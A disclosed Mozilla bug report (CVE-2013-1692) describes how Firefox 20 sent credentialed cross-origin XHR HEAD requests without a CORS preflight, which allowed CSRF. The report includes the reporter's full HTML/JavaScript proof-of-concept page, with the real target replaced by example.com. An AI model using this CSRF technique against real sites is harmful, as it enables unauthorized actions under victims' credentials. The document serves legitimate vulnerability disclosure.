Do not send data XHR HEAD request
Originally disclosed on Mozilla
- Fixed in 16 days
- Paid in 21 days
- Disclosed after 16 days
Created attachment 743269
RequestResponse.png
User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.65 Safari/537.31
Steps to reproduce:
During a penetration test for a client, I found that CSRF was possible on a piece of their functionality when sent as a HEAD. In the latest version of chrome, they send a preflight request for this HEAD request, but Firefox 20 is not. I will attach the Request and Response with the sensitive client information omitted. My CSRF Proof of Concept has xmlhttp.withCredentials = true;.
I've supplied two things to you, the code that allowed for my exploit to work, as well as the request response pair that happens when the request is sent. I've omitted sensitive information about the application this worked on because I do not own it, but if needed I'll try to spin up an environment that is similar to what I'm working on to recreate it. Since I can only upload one file, I'm going to paste my Proof of Concept code here, and attach an image of the actual exploit taking place after the form request was made.
<!--
Johnathan Kuskos
This file is psuedocode for a successful CSRF I was able to exploit for a client.
The file was hosted on my personal site at malfiles.jkuskos.com and targetted a URL that i've renamed "example.com" for sake of my client's privacy. I will attempt to supply as much information as I can, as I believe that a PreFlight request should not have allowed this to take place in Firefox 20.0.
-->
<!DOCTYPE html>
<html>
<head>
<script>
function loadXMLDocHEAD()
{
var xmlhttp;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200 || xmlhttp.status==302)
{
document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
}
}
var url = "https://example.com";//true victim omitted
var params = "body=";//true parameters omitted
xmlhttp.withCredentials = true;
xmlhttp.open("HEAD", url,true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.send(params);
}
</script>
</head>
<body>
<h1>HEAD request</h1>
<button type="button" onclick="loadXMLDocHEAD()">Send HEAD</button>
<div id="myDiv"></div>
</body>
</html>
Actual results:
The CORS request was successfully sent.
Expected results:
A Preflight request should have first sent an options request to check for if the HTTP verb was allowed, as specified here: https://developer.mozilla.org/en-US/docs/HTTP/Access_control_CORS#Preflighted_requests
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A high-severity security bug in DOM: Core & HTML. Mozilla made it public on 16 May 2013 as CVE-2013-1692.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.